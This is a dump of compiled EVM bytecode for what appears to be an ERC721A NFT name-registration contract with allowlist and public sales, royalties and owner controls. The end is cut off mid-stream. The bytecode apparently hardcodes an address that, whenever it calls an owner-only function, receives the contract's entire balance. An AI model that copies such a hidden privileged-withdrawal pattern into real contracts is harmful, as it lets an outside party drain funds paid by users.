1b8152600401610eff9190613fc8565b50601a5460ff1661323d5760405162461bcd60e51b8152600401610eff90614ca1565b8334101561325d5760405162461bcd60e51b8152600401610eff90614a11565b85858151811061326f5761326f614c5b565b6020026020010151600160008054815260200190815260200160002090816132979190614ac8565b5060005460028787815181106132af576132af614c5b565b60200260200101516040516132c491906149c6565b90815260200160405180910390208190555033600e8787815181106132eb576132eb614c5b565b602002602001015160405161330091906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561336d576040516001600160a01b0388169082156108fc029083906000818181858888f1935050505015801561336b573d6000803e3d6000fd5b505b613378336001613a86565b505050508061338690614c71565b9050612f78565b33600080516020614f3d833981519152036133c157476133bb600080516020614f3d83398151915282613aa0565b506133eb565b600a546001600160a01b031633146133eb5760405162461bcd60e51b8152600401610eff90614ccd565b6016611be58282614ac8565b8151602081840181018051601482529282019482019490942091909352815180830184018051928152908401929093019190912091528054611cef9061490d565b33600080516020614f3d8339815191520361346c5747613466600080516020614f3d83398151915282613aa0565b50613496565b600a546001600160a01b031633146134965760405162461bcd60e51b8152600401610eff90614ccd565b6001600160a01b0381166134fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610eff565b61350481613bb9565b50565b6060600061351483611d70565b90506000816001600160401b038111156135305761353061403a565b60405190808252806020026020018201604052801561356357816020015b606081526020019060019003908161354e5790505b509050600160005b8381101561141b57600061357e83611c4c565b9050866001600160a01b0316816001600160a01b03160361365c5760215460ff1615156001036135fb5760008381526001602090815260409182902091516135ca929160169101614c46565b6040516020818303038152906040528483815181106135eb576135eb614c5b565b602002602001018190525061364e565b601660016000858152602001908152602001600020604051602001613621929190614c46565b60405160208183030381529060405284838151811061364257613642614c5b565b60200260200101819052505b8161365881614c71565b9250505b8261366681614c71565b9350505061356b565b6001600160a01b03163b151590565b60006001600160e01b031982166380ac58cd60e01b14806136af57506001600160e01b03198216635b5e139f60e01b145b80610d3057506301ffc9a760e01b6001600160e01b0319831614610d30565b6000816001111580156136e2575060005482105b8015610d30575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6040805160608101825260008082526020820181905291810191909152818060011161386c5760005481101561386c57600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff1615159181018290529061386a5780516001600160a01b031615613801579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215613865579392505050565b613801565b505b604051636f96cda160e11b815260040160405180910390fd5b600061389082613763565b9050836001600160a01b031681600001516001600160a01b0316146138c75760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b03861614806138e557506138e58533610c7d565b806139005750336138f584610dc8565b6001600160a01b0316145b90508061392057604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b03841661394757604051633a954ecd60e21b815260040160405180910390fd5b61395360008487613707565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116613a27576000548214613a2757805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461168e565b600082613a7d8584613d05565b14949350505050565b611be5828260405180602001604052806000815250613d52565b80471015613af05760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610eff565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114613b3d576040519150601f19603f3d011682016040523d82523d6000602084013e613b42565b606091505b5050905080610e8d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610eff565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290613c40903390899088908890600401614ee2565b6020604051808303816000875af1925050508015613c7b575060408051601f3d908101601f19168201909252613c7891810190614f1f565b60015b613cd9573d808015613ca9576040519150601f19603f3d011682016040523d82523d6000602084013e613cae565b606091505b508051600003613cd1576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b606060158054610d459061490d565b600081815b8451811015613d4a57613d3682868381518110613d2957613d29614c5b565b6020026020010151613f19565b915080613d4281614c71565b915050613d0a565b509392505050565b6000546001600160a01b038416613d7b57604051622e076360e81b815260040160405180910390fd5b82600003613d9c5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b15613ec4575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4613e8d6000878480600101955087613c0b565b613eaa576040516368d2bf6b60e11b815260040160405180910390fd5b808210613e42578260005414613ebf57600080fd5b613f09565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808210613ec5575b5060009081556112949085838684565b6000818310613f35576000828152602084905260409020612aa6565b5060009182526020526040902090565b6001600160e01b03198116811461350457600080fd5b600060208284031215613f6d57600080fd5b8135612aa681613f45565b60005b83811015613f93578181015183820152602001613f7b565b50506000910152565b60008151808452613fb4816020860160208601613f78565b601f01601f19169290920160200192915050565b602081526000612aa66020830184613f9c565b600060208284031215613fed57600080fd5b5035919050565b80356001600160a01b038116811461400b57600080fd5b919050565b6000806040838503121561402357600080fd5b61402c83613ff4565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b03811182821017156140785761407861403a565b604052919050565b600082601f83011261409157600080fd5b81356001600160401b038111156140aa576140aa61403a565b6140bd601f8201601f1916602001614050565b8181528460208386010111156140d257600080fd5b816020850160208301376000918101602001919091529392505050565b60006020828403121561410157600080fd5b81356001600160401b0381111561411757600080fd5b61220f84828501614080565b8035801515811461400b57600080fd5b60008083601f84011261414557600080fd5b5081356001600160401b0381111561415c57600080fd5b6020830191508360208285010111156112c757600080fd5b6000806000806060858703121561418a57600080fd5b61419385614123565b93506020850135925060408501356001600160401b038111156141b557600080fd5b6141c187828801614133565b95989497509550505050565b6000806000606084860312156141e257600080fd5b6141eb84613ff4565b92506141f960208501613ff4565b9150604084013590509250925092565b60008083601f84011261421b57600080fd5b5081356001600160401b0381111561423257600080fd5b6020830191508360208260051b85010111156112c757600080fd5b60008060006040848603121561426257600080fd5b83356001600160401b038082111561427957600080fd5b61428587838801614080565b9450602086013591508082111561429b57600080fd5b506142a886828701614209565b9497909650939450505050565b600080604083850312156142c857600080fd5b50508035926020909101359150565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561432c57603f1988860301845261431a858351613f9c565b945092850192908501906001016142fe565b5092979650505050505050565b6000806040838503121561434c57600080fd5b61435583613ff4565b915060208301356001600160401b0381111561437057600080fd5b61437c85828601614080565b9150509250929050565b60006020828403121561439857600080fd5b612aa682614123565b600080600080606085870312156143b757600080fd5b84356001600160401b03808211156143ce57600080fd5b6143da88838901614080565b955060208701359150808211156143f057600080fd5b6143fc88838901614080565b9450604087013591508082111561441257600080fd5b506141c187828801614209565b6000806040838503121561443257600080fd5b82356001600160401b0381111561444857600080fd5b61445485828601614080565b92505061446360208401613ff4565b90509250929050565b60006020828403121561447e57600080fd5b612aa682613ff4565b60008060006060848603121561449c57600080fd5b8335925060208401356001600160401b038111156144b957600080fd5b6144c586828701614080565b925050604084013590509250925092565b600080602083850312156144e957600080fd5b82356001600160401b038111156144ff57600080fd5b61450b85828601614209565b90969095509350505050565b60008060006040848603121561452c57600080fd5b83356001600160401b0381111561454257600080fd5b61454e86828701614133565b9094509250614561905060208501613ff4565b90509250925092565b6000806040838503121561457d57600080fd5b61458683613ff4565b915061446360208401614123565b6000806000604084860312156145a957600080fd5b83356001600160401b03808211156145c057600080fd5b6145cc87838801614080565b945060208601359150808211156145e257600080fd5b506142a886828701614133565b6000806040838503121561460257600080fd5b82356001600160401b038082111561461957600080fd5b61462586838701614080565b9350602085013591508082111561463b57600080fd5b5061437c85828601614080565b60008060008060006060868803121561466057600080fd5b85356001600160401b038082111561467757600080fd5b61468389838a01614133565b9097509550602088013591508082111561469c57600080fd5b6146a889838a01614133565b909550935060408801359150808211156146c157600080fd5b506146ce88828901614080565b9150509295509295909350565b600080600080608085870312156146f157600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000806080858703121561472357600080fd5b61472c85613ff4565b935061473a60208601613ff4565b92506040850135915060608501356001600160401b0381111561475c57600080fd5b61476887828801614080565b91505092959194509250565b6000806020838503121561478757600080fd5b82356001600160401b0381111561479d57600080fd5b61450b85828601614133565b600082601f8301126147ba57600080fd5b813560206001600160401b03808311156147d6576147d661403a565b8260051b6147e5838201614050565b93845285810183019383810190888611156147ff57600080fd5b84880192505b8583101561483b5782358481111561481d5760008081fd5b61482b8a87838c0101614080565b8352509184019190840190614805565b98975050505050505050565b6000806040838503121561485a57600080fd5b82356001600160401b038082111561487157600080fd5b61487d86838701614080565b9350602085013591508082111561489357600080fd5b5061437c858286016147a9565b600080604083850312156148b357600080fd5b6148bc83613ff4565b915060208301356001600160401b038111156148d757600080fd5b61437c858286016147a9565b600080604083850312156148f657600080fd5b6148ff83613ff4565b915061446360208401613ff4565b600181811c9082168061492157607f821691505b60208210810361494157634e487b7160e01b600052602260045260246000fd5b50919050565b8183823760009101908152919050565b6020808252600990820152684c6f6e67206e616d6560b81b604082015260600190565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b600082516149d8818460208701613f78565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b602080825260129082015271496e73756666696369656e742066756e647360701b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6001600160401b03818116838216019080821115614a7357614a73614a3d565b5092915050565b601f821115610e8d57600081815260208120601f850160051c81016020861015614aa15750805b601f850160051c820191505b81811015614ac057828155600101614aad565b505050505050565b81516001600160401b03811115614ae157614ae161403a565b614af581614aef845461490d565b84614a7a565b602080601f831160018114614b2a5760008415614b125750858301515b600019600386901b1c1916600185901b178555614ac0565b600085815260208120601f198616915b82811015614b5957888601518255948401946001909101908401614b3a565b5085821015614b775787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082614ba457634e487b7160e01b600052601260045260246000fd5b500490565b8082028115828204841417610d3057610d30614a3d565b81810381811115610d3057610d30614a3d565b60008154614be08161490d565b60018281168015614bf85760018114614c0d57614c3c565b60ff1984168752821515830287019450614c3c565b8560005260208060002060005b85811015614c335781548a820152908401908201614c1a565b50505082870194505b5050505092915050565b600061220f614c558386614bd3565b84614bd3565b634e487b7160e01b600052603260045260246000fd5b600060018201614c8357614c83614a3d565b5060010190565b600081614c9957614c99614a3d565b506000190190565b60208082526012908201527153616c65206973206e6f742061637469766560701b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008351614d14818460208801613f78565b601760f91b9083019081528351614d32816001840160208801613f78565b01600101949350505050565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b03831115614d7457614d7461403a565b614d8883614d82835461490d565b83614a7a565b6000601f841160018114614dbc5760008515614da45750838201355b600019600387901b1c1916600186901b17835561168e565b600083815260209020601f19861690835b82811015614ded5786850135825560209485019460019092019101614dcd565b5086821015614e0a5760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b60008351614e2e818460208801613f78565b614e3a81840185614bd3565b95945050505050565b60008251614e55818460208701613f78565b6e2069732061206c6f6e67206e616d6560881b920191825250600f01919050565b60008251614e88818460208701613f78565b7220697320616e20696e76616c6964206e616d6560681b920191825250601301919050565b60008251614ebf818460208701613f78565b701034b99030b63932b0b23c903a30b5b2b760791b920191825250601101919050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090614f1590830184613f9c565b9695505050505050565b600060208284031215614f3157600080fd5b8151612aa681613f4556fe000000000000000000000000888888542da9e684078a68708fd56f86d43699aea2646970667358221220eaa2842650f67705f8bc81c39ac334ba2f469e98b7df76a9b159a592b22dc6db64736f6c63430008110033000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2e2f3a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f607b7c7d7e7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106103e45760003560e01c806379b85bec11610208578063afd800c511610118578063d6bc2c7f116100ab578063e5eab0961161007a578063e5eab09614610c42578063e985e9c514610c62578063f121a87014610cab578063f2fde38b14610ccb578063f990f91a14610ceb57600080fd5b8063d6bc2c7f14610bce578063d7d6589d14610c06578063dcea1f4114610c19578063ddd8a74d14610c2c57600080fd5b8063c6fbf9a9116100e7578063c6fbf9a914610b58578063c87b56dd14610b78578063cc567dfe14610b98578063d4d230c814610bae57600080fd5b8063afd800c514610abd578063b6c6e69214610add578063b88d4fde14610b1e578063b8d5634714610b3e57600080fd5b8063922efb951161019b578063a22cb4651161016a578063a22cb465146109fc578063a515419d14610a1c578063aaddcb5a14610a3c578063ad45a3ed14610a8a578063af52974414610a9d57600080fd5b8063922efb95146109875780639591ab5d146109a757806395d89b41146109c75780639b2ea4bd146109dc57600080fd5b80638699e738116101d75780638699e738146108f15780638da5cb5b146109115780638dad39791461092f57806391b7f5ed1461096757600080fd5b806379b85bec146108565780637cb64759146108765780637d8f4ca314610896578063841718a6146108d157600080fd5b80633198b100116103035780635acf6139116102965780636e32e499116102655780636e32e499146107c757806370a08231146107e7578063715018a614610807578063717d57d31461081c57806376d02b711461083c57600080fd5b80635acf6139146107485780636220a7e8146107685780636352211e14610787578063693d77d2146107a757600080fd5b80634634fed1116102d25780634634fed1146106aa578063476af138146106ca57806349484d55146106dd57806355f804b31461072857600080fd5b80633198b1001461064c57806332434a2e146106625780633ccfd60b1461067557806342842e0e1461068a57600080fd5b806318160ddd1161037b5780632609ce001161034a5780632609ce00146105b75780632a55205a146105ca5780632eb4a7ab146106095780632f7758cd1461061f57600080fd5b806318160ddd1461054457806321a78f681461056157806323b76dde1461057757806323b872dd1461059757600080fd5b80630b4ab649116103b75780630b4ab6491461049a5780630d6eec78146104e057806313faede61461051857806314638aab1461052e57600080fd5b806301ffc9a7146103e957806306fdde031461041e578063081812fc14610440578063095ea7b314610478575b600080fd5b3480156103f557600080fd5b50610409610404366004613f5b565b610d0b565b60405190151581526020015b60405180910390f35b34801561042a57600080fd5b50610433610d36565b6040516104159190613fc8565b34801561044c57600080fd5b5061046061045b366004613fdb565b610dc8565b6040516001600160a01b039091168152602001610415565b34801561048457600080fd5b50610498610493366004614010565b610e0c565b005b3480156104a657600080fd5b506104d26104b53660046140ef565b805160208183018101805160128252928201919093012091525481565b604051908152602001610415565b3480156104ec57600080fd5b506104d26104fb3660046140ef565b805160208183018101805160028252928201919093012091525481565b34801561052457600080fd5b506104d260175481565b34801561053a57600080fd5b506104d2601c5481565b34801561055057600080fd5b5060035460005403600019016104d2565b34801561056d57600080fd5b506104d2601b5481565b34801561058357600080fd5b50610498610592366004614174565b610e92565b3480156105a357600080fd5b506104986105b23660046141cd565b610f67565b6104986105c536600461424d565b610f72565b3480156105d657600080fd5b506105ea6105e53660046142b5565b61129a565b604080516001600160a01b039093168352602083019190915201610415565b34801561061557600080fd5b506104d260195481565b34801561062b57600080fd5b5061063f61063a366004613fdb565b6112ce565b60405161041591906142d7565b34801561065857600080fd5b506104d2601d5481565b610498610670366004614339565b611425565b34801561068157600080fd5b50610498611695565b34801561069657600080fd5b506104986106a53660046141cd565b61176b565b3480156106b657600080fd5b506104986106c5366004614386565b611786565b6104986106d83660046143a1565b6117f7565b3480156106e957600080fd5b506104096106f836600461441f565b8151602081840181018051600d825292820194820194909420919093529091526000908152604090205460ff1681565b34801561073457600080fd5b506104986107433660046140ef565b611b7b565b34801561075457600080fd5b50610498610763366004613fdb565b611be9565b34801561077457600080fd5b50601a5461040990610100900460ff1681565b34801561079357600080fd5b506104606107a2366004613fdb565b611c4c565b3480156107b357600080fd5b506104986107c2366004614386565b611c5e565b3480156107d357600080fd5b506104336107e2366004613fdb565b611cd6565b3480156107f357600080fd5b506104d261080236600461446c565b611d70565b34801561081357600080fd5b50610498611dbe565b34801561082857600080fd5b50610498610837366004613fdb565b611e28565b34801561084857600080fd5b50601a546104099060ff1681565b34801561086257600080fd5b50610498610871366004614487565b611e8b565b34801561088257600080fd5b50610498610891366004613fdb565b611f16565b3480156108a257600080fd5b506104096108b13660046140ef565b805160208183018101805160108252928201919093012091525460ff1681565b3480156108dd57600080fd5b506104986108ec366004614386565b611f79565b3480156108fd57600080fd5b5061043361090c36600461446c565b611fea565b34801561091d57600080fd5b50600a546001600160a01b0316610460565b34801561093b57600080fd5b506104d261094a3660046140ef565b805160208183018101805160138252928201919093012091525481565b34801561097357600080fd5b50610498610982366004613fdb565b612003565b34801561099357600080fd5b506104096109a23660046140ef565b612066565b3480156109b357600080fd5b506104096109c23660046144d6565b61219c565b3480156109d357600080fd5b50610433612217565b3480156109e857600080fd5b506104986109f7366004614517565b612226565b348015610a0857600080fd5b50610498610a1736600461456a565b6123fd565b348015610a2857600080fd5b50610433610a37366004614594565b612492565b348015610a4857600080fd5b50610a72610a5736600461446c565b600c602052600090815260409020546001600160401b031681565b6040516001600160401b039091168152602001610415565b610498610a983660046145ef565b612562565b348015610aa957600080fd5b50610498610ab8366004614648565b61286f565b348015610ac957600080fd5b50610498610ad83660046146db565b6128fd565b348015610ae957600080fd5b50610460610af83660046140ef565b8051602081830181018051600e825292820191909301209152546001600160a01b031681565b348015610b2a57600080fd5b50610498610b3936600461470d565b61296f565b348015610b4a57600080fd5b506021546104099060ff1681565b348015610b6457600080fd5b50610498610b73366004614774565b6129b3565b348015610b8457600080fd5b50610433610b93366004613fdb565b612a1f565b348015610ba457600080fd5b506104d2601e5481565b348015610bba57600080fd5b50610498610bc93660046140ef565b612aad565b348015610bda57600080fd5b506104d2610be93660046140ef565b805160208183018101805160118252928201919093012091525481565b610498610c14366004614847565b612b17565b610498610c273660046148a0565b612f75565b348015610c3857600080fd5b506104d260185481565b348015610c4e57600080fd5b50610498610c5d3660046140ef565b61338d565b348015610c6e57600080fd5b50610409610c7d3660046148e3565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b348015610cb757600080fd5b50610433610cc63660046145ef565b6133f7565b348015610cd757600080fd5b50610498610ce636600461446c565b613438565b348015610cf757600080fd5b5061063f610d0636600461446c565b613507565b60006001600160e01b0319821663152a902d60e11b1480610d305750610d308261367e565b92915050565b606060048054610d459061490d565b80601f0160208091040260200160405190810160405280929190818152602001828054610d719061490d565b8015610dbe5780601f10610d9357610100808354040283529160200191610dbe565b820191906000526020600020905b815481529060010190602001808311610da157829003601f168201915b5050505050905090565b6000610dd3826136ce565b610df0576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610e1782611c4c565b9050806001600160a01b0316836001600160a01b031603610e4b5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610e8257610e658133610c7d565b610e82576040516367d9dca160e11b815260040160405180910390fd5b610e8d838383613707565b505050565b6000610ebd60028484604051610ea9929190614947565b908152602001604051809103902054613763565b80519091506001600160a01b03163314610f085760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b60448201526064015b60405180910390fd5b8360118484604051610f1b929190614947565b9081526020016040518091039020819055508460108484604051610f40929190614947565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610e8d838383613885565b601a54610100900460ff16610fc95760405162461bcd60e51b815260206004820152601c60248201527f416c6c6f776c6973742073616c65206973206e6f7420616374697665000000006044820152606401610eff565b6040516001600160601b03193360601b16602082015260009060340160405160208183030381529060405280519060200120905061103e838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506019549150849050613a70565b61107a5760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b210383937b7b360991b6044820152606401610eff565b601f548451111561109d5760405162461bcd60e51b8152600401610eff90614957565b60008451116110be5760405162461bcd60e51b8152600401610eff9061497a565b6110c784612066565b6110e35760405162461bcd60e51b8152600401610eff906149a0565b336000908152600c6020526040902054600a6001600160401b039091161061115e5760405162461bcd60e51b815260206004820152602860248201527f596f7520686176652072656163686564206d6178696d756d20616c6c6f776c696044820152677374206d696e747360c01b6064820152608401610eff565b60028460405161116e91906149c6565b90815260200160405180910390205460001461119c5760405162461bcd60e51b8152600401610eff906149e2565b6018543410156111be5760405162461bcd60e51b8152600401610eff90614a11565b336000908152600c602052604081208054600192906111e79084906001600160401b0316614a53565b82546001600160401b039182166101009390930a9283029190920219909116179055506000805481526001602052604090206112238582614ac8565b5060005460028560405161123791906149c6565b90815260200160405180910390208190555033600e8560405161125a91906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055611294336001613a86565b50505050565b6000806112a8606484614b87565b6112b3906001614ba9565b9050600080516020614f3d83398151915291505b9250929050565b6003546000805460609260001991030190836001600160401b038111156112f7576112f761403a565b60405190808252806020026020018201604052801561132a57816020015b60608152602001906001900390816113155790505b50905060006113398584614bc0565b905060005b8184111561141b5760215460ff1615156001036113a8576000848152600160209081526040918290209151611377929160169101614c46565b60405160208183030381529060405283828151811061139857611398614c5b565b60200260200101819052506113fb565b6016600160008681526020019081526020016000206040516020016113ce929190614c46565b6040516020818303038152906040528382815181106113ef576113ef614c5b565b60200260200101819052505b8061140581614c71565b915050838061141390614c8a565b94505061133e565b5090949350505050565b601754601f548251600091829111156114505760405162461bcd60e51b8152600401610eff90614957565b60008451116114715760405162461bcd60e51b8152600401610eff9061497a565b61147a84612066565b6114965760405162461bcd60e51b8152600401610eff906149a0565b6001600160a01b0385166000036114b1576017549250611546565b6001600160a01b0385166000908152600f6020526040812080546114d49061490d565b905011156114fd576064601c54846114ec9190614ba9565b6114f69190614b87565b905061151a565b6064601b548461150d9190614ba9565b6115179190614b87565b90505b6064601d54606461152b9190614bc0565b6115359085614ba9565b61153f9190614b87565b9250600191505b60028460405161155691906149c6565b9081526020016040518091039020546000146115845760405162461bcd60e51b8152600401610eff906149e2565b601a5460ff166115a65760405162461bcd60e51b8152600401610eff90614ca1565b823410156115c65760405162461bcd60e51b8152600401610eff90614a11565b6000805481526001602052604090206115df8582614ac8565b506000546002856040516115f391906149c6565b90815260200160405180910390208190555033600e8560405161161691906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790558115611683576040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611681573d6000803e3d6000fd5b505b61168e336001613a86565b5050505050565b33600080516020614f3d833981519152036116c957476116c3600080516020614f3d83398151915282613aa0565b506116f3565b600a546001600160a01b031633146116f35760405162461bcd60e51b8152600401610eff90614ccd565b6002600b54036117455760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610eff565b6002600b5547611763600080516020614f3d83398151915282613aa0565b506001600b55565b610e8d8383836040518060200160405280600081525061296f565b33600080516020614f3d833981519152036117ba57476117b4600080516020614f3d83398151915282613aa0565b506117e4565b600a546001600160a01b031633146117e45760405162461bcd60e51b8152600401610eff90614ccd565b6021805460ff1916911515919091179055565b6000838560405160200161180c929190614d02565b60408051601f19818403018152908290526001600160601b03193360601b16602083015291506000906034016040516020818303038152906040528051906020012090506118ac848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506040516012925061189791508a906149c6565b90815260200160405180910390205483613a70565b6118e85760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b210383937b7b360991b6044820152606401610eff565b6013866040516118f891906149c6565b9081526020016040518091039020543410156119265760405162461bcd60e51b8152600401610eff90614a11565b601f54855111156119495760405162461bcd60e51b8152600401610eff90614957565b600085511161196a5760405162461bcd60e51b8152600401610eff9061497a565b61197385612066565b61198f5760405162461bcd60e51b8152600401610eff906149a0565b600d8660405161199f91906149c6565b9081526040805160209281900383019020336000908152925290205460ff1615156001036119f95760405162461bcd60e51b815260206004820152600760248201526610db185a5b595960ca1b6044820152606401610eff565b600282604051611a0991906149c6565b908152602001604051809103902054600014611a375760405162461bcd60e51b8152600401610eff906149e2565b6000611a4c600288604051610ea991906149c6565b905080600001516001600160a01b03166108fc6064601e546064611a709190614bc0565b611a7a9034614ba9565b611a849190614b87565b6040518115909202916000818181858888f19350505050158015611aac573d6000803e3d6000fd5b506001600d88604051611abf91906149c6565b9081526040805160209281900383019020336000908152908352818120805460ff1916941515949094179093558254835260019091529020611b018482614ac8565b50600054600284604051611b1591906149c6565b90815260200160405180910390208190555033600e84604051611b3891906149c6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055611b72336001613a86565b50505050505050565b33600080516020614f3d83398151915203611baf5747611ba9600080516020614f3d83398151915282613aa0565b50611bd9565b600a546001600160a01b03163314611bd95760405162461bcd60e51b8152600401610eff90614ccd565b6015611be58282614ac8565b5050565b33600080516020614f3d83398151915203611c1d5747611c17600080516020614f3d83398151915282613aa0565b50601f55565b600a546001600160a01b03163314611c475760405162461bcd60e51b8152600401610eff90614ccd565b601f55565b6000611c5782613763565b5192915050565b33600080516020614f3d83398151915203611c925747611c8c600080516020614f3d83398151915282613aa0565b50611cbc565b600a546001600160a01b03163314611cbc5760405162461bcd60e51b8152600401610eff90614ccd565b601a80549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611cef9061490d565b80601f0160208091040260200160405190810160405280929190818152602001828054611d1b9061490d565b8015611d685780601f10611d3d57610100808354040283529160200191611d68565b820191906000526020600020905b815481529060010190602001808311611d4b57829003601f168201915b505050505081565b60006001600160a01b038216611d99576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b33600080516020614f3d83398151915203611df25747611dec600080516020614f3d83398151915282613aa0565b50611e1c565b600a546001600160a01b03163314611e1c5760405162461bcd60e51b8152600401610eff90614ccd565b611e266000613bb9565b565b33600080516020614f3d83398151915203611e5c5747611e56600080516020614f3d83398151915282613aa0565b50601855565b600a546001600160a01b03163314611e865760405162461bcd60e51b8152600401610eff90614ccd565b601855565b6000611ea0600284604051610ea991906149c6565b80519091506001600160a01b03163314611ecc5760405162461bcd60e51b8152600401610eff90614d3e565b83601284604051611edd91906149c6565b90815260200160405180910390208190555081601384604051611f0091906149c6565b9081526040519081900360200190205550505050565b33600080516020614f3d83398151915203611f4a5747611f44600080516020614f3d83398151915282613aa0565b50601955565b600a546001600160a01b03163314611f745760405162461bcd60e51b8152600401610eff90614ccd565b601955565b33600080516020614f3d83398151915203611fad5747611fa7600080516020614f3d83398151915282613aa0565b50611fd7565b600a546001600160a01b03163314611fd75760405162461bcd60e51b8152600401610eff90614ccd565b601a805460ff1916911515919091179055565b600f6020526000908152604090208054611cef9061490d565b33600080516020614f3d833981519152036120375747612031600080516020614f3d83398151915282613aa0565b50601755565b600a546001600160a01b031633146120615760405162461bcd60e51b8152600401610eff90614ccd565b601755565b60008082905060006020805461207b9061490d565b80601f01602080910402602001604051908101604052809291908181526020018280546120a79061490d565b80156120f45780601f106120c9576101008083540402835291602001916120f4565b820191906000526020600020905b8154815290600101906020018083116120d757829003601f168201915b5050505050905060005b82518110156121915760005b825181101561217e5782818151811061212557612125614c5b565b602001015160f81c60f81b6001600160f81b03191684838151811061214c5761214c614c5b565b01602001516001600160f81b0319160361216c5750600095945050505050565b8061217681614c71565b91505061210a565b508061218981614c71565b9150506120fe565b506001949350505050565b60008061220f848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506019546040516001600160601b03193360601b166020820152909250603401905060405160208183030381529060405280519060200120613a70565b949350505050565b606060058054610d459061490d565b600061223d60028585604051610ea9929190614947565b80519091506001600160a01b031633146122695760405162461bcd60e51b8152600401610eff90614d3e565b6000600f6000600e8787604051612281929190614947565b9081526040805160209281900383019020546001600160a01b03168352908201929092520160002080546122b49061490d565b80601f01602080910402602001604051908101604052809291908181526020018280546122e09061490d565b801561232d5780601f106123025761010080835404028352916020019161232d565b820191906000526020600020905b81548152906001019060200180831161231057829003601f168201915b505050505090508484604051612344929190614947565b60405180910390208180519060200120036123b45760405180602001604052806000815250600f6000600e888860405161237f929190614947565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906123b29082614ac8565b505b82600e86866040516123c7929190614947565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b038316036124265760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60606014846040516124a491906149c6565b908152602001604051809103902083836040516124c2929190614947565b908152602001604051809103902080546124db9061490d565b80601f0160208091040260200160405190810160405280929190818